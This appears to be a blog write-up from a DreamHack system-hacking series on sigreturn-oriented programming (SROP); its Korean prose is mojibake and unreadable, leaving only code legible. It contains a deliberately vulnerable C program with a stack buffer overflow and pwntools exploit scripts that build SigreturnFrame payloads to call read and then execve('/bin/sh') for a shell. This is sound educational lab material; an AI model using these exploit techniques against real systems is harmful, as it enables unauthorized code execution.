
SROP ์ค์ต ์์ ๋ ๋ค์๊ณผ ๊ฐ๋ค
// Name: srop.c
// Compile: gcc -o srop srop.c -fno-stack-protector -no-pie
#include <unistd.h>
int gadget() {
asm("pop %rax;"
"syscall;"
"ret" );
}
int main()
{
char buf[16];
read(0, buf ,1024);
}
๋ณดํธ ๊ธฐ๋ฒ๐ก๏ธ
checksec๋ฅผ ์ฌ์ฉํด ๋ณดํธ๊ธฐ๋ฒ์ ํ์ธํด๋ณด์
์ฝ๋ ๋ถ์ ๐
int main()
{
char buf[16];
read(0, buf ,1024);
}
์์ ์์ 16๋ฐ์ดํธ ๋ฒํผ์ 1024๋ฐ์ดํธ๋ฅผ ์ ๋ ฅํ ์ ์๊ธฐ ๋๋ฌธ์ ์คํ ๋ฒํผ ์ค๋ฒํ๋ก์ฐ๊ฐ ๋ฐ์ํ๋ค.
๋ฐ๋ผ์ gadgetํจ์์ ์ฝ๋๋ฅผ ์ฌ์ฉํด์ sigreturn ์์คํ ์ฝ์ ํธ์ถํ์ฌ ๋ ์ง์คํฐ๋ฅผ ์กฐ์ํ์ฌ ์์ ํ๋ํ ์ ์๋ค.
์ต์คํ๋ก์ ์ค๊ณ
1. sigreturn ํธ์ถ
SROP๋ฅผ ํ๊ธฐ ์ํด์๋ sigreturn ์์คํ ์ฝ์ ํธ์ถํด์ผํ๋ค.
์์ ์ gadget ํจ์ ๋ด๋ถ์ ์ฝ๋ ๊ฐ์ ฏ์ ์ฃผ์๋ฅผ ์์๋ด๊ณ , ์์คํ ์ฝ ๋ฒํธ์ syscall ๋ช ๋ น์ด๋ฅผ ํตํด sigreturn์ ํธ์ถํ๋ฉด ๋๋ค.
2. execve ํธ์ถ
sigreturn์ ์คํ ์์ญ์ ๊ฐ์ ๋ ์ง์คํฐ๋ก ๋ณต์ฌํ๋ค.
๋ฐ๋ผ์ 1024 ๋ฐ์ดํธ๋ฅผ ์ ๋ ฅํ ๋ sigcontext ๊ตฌ์กฐ์ฒด๋ฅผ ์๊ฐํ๊ณ , execve ์์คํ ์ฝ์ ํธ์ถํ๊ธฐ ์ํ ์ธ์๋ฅผ ๋ชจ๋ ์ค์ ํ๋ฉด ๋๋ค.
sigreturn ํธ์ถ
pwntools์์ ๋ฐ์ด๋๋ฆฌ ๋ด์ ํน์ ์ฝ๋๋ฅผ ๊ฒ์ํ๊ณ , ํด๋น ์ฃผ์๋ฅผ ๊ฐ์ ธ์ค๋ ๊ธฐ๋ฅ์ ์ ๊ณตํ๋ค.
์ด๋ฅผ ํตํด์ ๊ฐ์ ฏ์ ์ฝ๋๋ฅผ ์์๋ด๊ณ , RAX ๋ ์ง์คํฐ์ ๊ฐ์ sigreturn ์์คํ ์ฝ์ธ 15๋ก ์กฐ์ํ๋ค.
# Name: srop.py
from pwn import *
context.arch = "x86_64"
p = process("./srop")
elf = ELF("./srop")
gadget = next(elf.search(asm("pop rax; syscall")))
print(gadget)
payload = "A"*16
payload += "B"*8
payload += p64(gadget)
payload += p64(15) # sigreturn
payload += "\x00"*40 # dummy
payload += p64(0x4141414141414141)*20
p.sendline(payload)
p.interactive()
๋ค์์ ์ฝ๋๋ ์คํ ๋ฒํผ ์ค๋ฒํ๋ก์ฐ๋ฅผ ํตํด RIP๋ฅผ pop rax; syscall; ret ๊ฐ์ ฏ์ ์ฃผ์๋ก ์กฐ์ํ๊ณ , RAX ๋ ์ง์คํฐ๋ฅผ 15๋ก ์กฐ์ํ ์ต์คํ๋ก์ ์ฝ๋์ด๋ค.
๋๋ฒ๊น ์ ํ๊ธฐ ์ ์ ๋ค์ ์ฌ์ดํธ๋ฅผ ์ฐธ๊ณ ํ๋ค.
์ฌ๊ธฐ์ ์ข ํค๋งธ์๋๋ฐ, ์ต์คํ๋ก์ ์ฝ๋๋ฅผ ์คํ์ ํ ๋ค์ ์ด๋ก๋ถํฐ ์ป์ PID๋ฅผ ํตํด ๋ค๋ฅธ ํฐ๋ฏธ๋ ์ฐฝ์์ attach ํด์ฃผ๋ฉด ๋๋ค.
sudo gdb attach -p [PID] -q
๋๋ฒ๊น ์ด ๋ ๋ค์ main ํจ์๋ฅผ ๋์ค์ด์ ๋ธ ํด์ฃผ์๋ค.
์ฝ๋๋ฅผ ์ดํด๋ณด๋ฉด main+25์์ readํจ์๋ฅผ ํธ์ถํ๋ ๊ฑธ ํ์ธํ ์ ์์ผ๋ฏ๋ก, ์ฌ๊ธฐ์ bp๋ฅผ ๊ฑธ์ด์ฃผ๋ฉด ๋๋ค.
continue๋ฅผ ํด์ค ํ๋ฉด์์๋ ํ์ธํ ์ ์์ง๋ง, i r ๋ช ๋ น์ด๋ฅผ ํตํด ํ์ธํ ๊ฒฐ๊ณผ sigreturn ์์คํ ์ฝ์ด ํธ์ถ๋์ด ๋ ์ง์คํฐ๊ฐ "A"๋ก ๋ฎ์ด์ฐ์ฌ์ง ๊ฑธ ํ์ธํ ์ ์๋ค.
execve ํธ์ถ
execve ์์คํ ์ฝ์ ํธ์ถํ๊ธฐ ์ ์, sigcontext ๊ตฌ์กฐ์ฒด์ ์ ์๋ ๋ ์ง์คํฐ์ ์์๋ฅผ ๊ณ ๋ คํด์ ์คํ์ ๊ฐ์ ์จ๋ฃ์ด์ผ ํ๋ค.
๋งค๋ฒ ๊ตฌ์กฐ์ฒด๋ฅผ ํ์ธํ๋ฉฐ ์คํ์ ๊ฐ์ ์ฝ์ ํ๋ ๊ฒ์ด ํ๋ค๊ธฐ ๋๋ฌธ์ pwntools์์๋ SROP ๊ณต๊ฒฉ์ ์์ํ๊ฒ ํ๊ฒ๋ SigreturnFrame ํด๋์ค๋ฅผ ์ ๊ณตํ๋ค.
๋ค์์ ํ์ด์ฌ ์ธํฐํ๋ฆฌํฐ์์ ํด๋น ๊ธฐ๋ฅ์ ์ฌ์ฉํ ์์ ์ด๋ค.
์ฝ๋๋ฅผ ์ดํด๋ณด๋ฉด, ์กฐ์ํ ๋ ์ง์คํฐ์ ๊ฐ์ ์ฝ์ ํ๋ฉด ์ค์ค๋ก ๊ตฌ์กฐ์ฒด์ ๋ง๋ ์ ๋ ฅ๊ฐ์ ์์ฑํ๋ค.
ํด๋น ๊ธฐ๋ฅ์ ํตํด ์ต์คํ๋ก์ ์์ฑ ์๊ฐ๊ณผ ๋ ธ๋ ฅ์ ์ค์ผ ์ ์๋ค.
execve ํธ์ถ
SigreturnFrame์ ์ฌ์ฉํด์ execve ์์คํ ์ฝ์ ํธ์ถํ๋ ์ต์คํ๋ก์ ์ฝ๋๋ฅผ ์์ฑํด๋ณด์.
๋ผ์ด๋ธ๋ฌ๋ฆฌ ์ฃผ์๋ฅผ ์์๋ด์ง ์๊ณ , ๋ฐ์ด๋๋ฆฌ ์์ญ์ "/bin/sh" ๋ฌธ์์ด์ ์์ฑํ ๋ค, execve ์์คํ ์ฝ์ ํธ์ถํ ๋ ํด๋น ๋ฌธ์์ด์ ์ฃผ์๋ฅผ ์ธ์๋ก ๋๊ฒจ์ฃผ๋ฉด ์์ ํ๋ํ ์ ์๋ค.
์์ ์ฝ๋์์๋ read ํจ์๋ฅผ ํตํด์ ํ ๋ฒ๋ฐ์ ์ ๋ ฅ์ ๋ฐ์ง ์๊ธฐ ๋๋ฌธ์, readํจ์๋ฅผ ํธ์ถํ์ฌ ๋ฐ์ด๋๋ฆฌ ์ฃผ์์ "/bin/sh"๋ฌธ์์ด์ ์์ฑํ๋ค. ์ต์คํ๋ก์ ์ฝ๋๋ ๋ค์๊ณผ ๊ฐ๋ค.
# Name: srop.py
from pwn import *
context.arch = "x86_64"
p = process("./srop")
elf = ELF("./srop")
gadget = next(elf.search(asm("pop rax; syscall")))
syscall = next(elf.search(asm("syscall")))
read_got = elf.got['read']
_start = elf.symbols['_start']
binsh = "/bin/sh\x00"
bss = elf.bss()
frame = SigreturnFrame()
# read(0, bss, 0x1000)
frame.rax = 0 # SYS_read
frame.rsi = bss
frame.rdx = 0x1000
frame.rdi = 0
frame.rip = syscall
frame.rsp = bss
payload = b"A"*16
payload += b"B"*8
payload += p64(gadget)
payload += p64(15) # sigreturn
payload += bytes(frame)
p.sendline(payload)
# execve("/bin/sh", 0, 0)
frame2 = SigreturnFrame()
frame2.rip = syscall
frame2.rax = 0x3b # execve
frame2.rsp = bss + 0x500
frame2.rdi = bss + 0x108
rop = p64(gadget)
rop += p64(15)
rop += bytes(frame2)
rop += b"/bin/sh\x00"
p.sendline(rop)
p.interactive()
๋จผ์ SROP๋ฅผ ํตํด read ์์คํ ์ฝ์ ํธ์ถํ์ฌ bss ์์ญ์ 0x1000๋ฐ์ดํธ๋งํผ ์ ๋ ฅ๋ฐ๊ณ , RSP ๋ ์ง์คํฐ๋ฅผ ์ ๋ ฅํ bss ์์ญ์ ์ฃผ์๋ก ๋ฐ๊ฟ ๋ค์ ํ ๋ฒ ๋ฆฌํด ์ฃผ์๋ฅผ ์กฐ์ํ ์ ์๊ฒ ํ๋ค.
SROP ์ฝ๋๋ฅผ ํ์ธํ๋ฉด execve ์์คํ ์ฝ์ ํธ์ถํ๊ณ , ๋ค์์ ์ ๋ ฅํ "/bin/sh" ๋ฌธ์์ด์ ์ฃผ์๋ฅผ ์ธ์๋ก ์ ๋ฌํ๋ค.
์ต์คํ๋ก์ ๊ฒฐ๊ณผ๋ ๋ค์๊ณผ ๊ฐ๋ค.
'DreamHack > SystemHacking' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
[Dreamhack System Hacking] _IO_FILE (0) | 2022.11.18 |
---|---|
[Dreamhack System Hacking] send_sig (0) | 2022.11.14 |
[Dreamhack System Hacking] SROP (0) | 2022.11.14 |
[DreamHack System Hacking] rtld (0) | 2022.09.22 |
[DreamHack System Hacking] __eviron (0) | 2022.09.21 |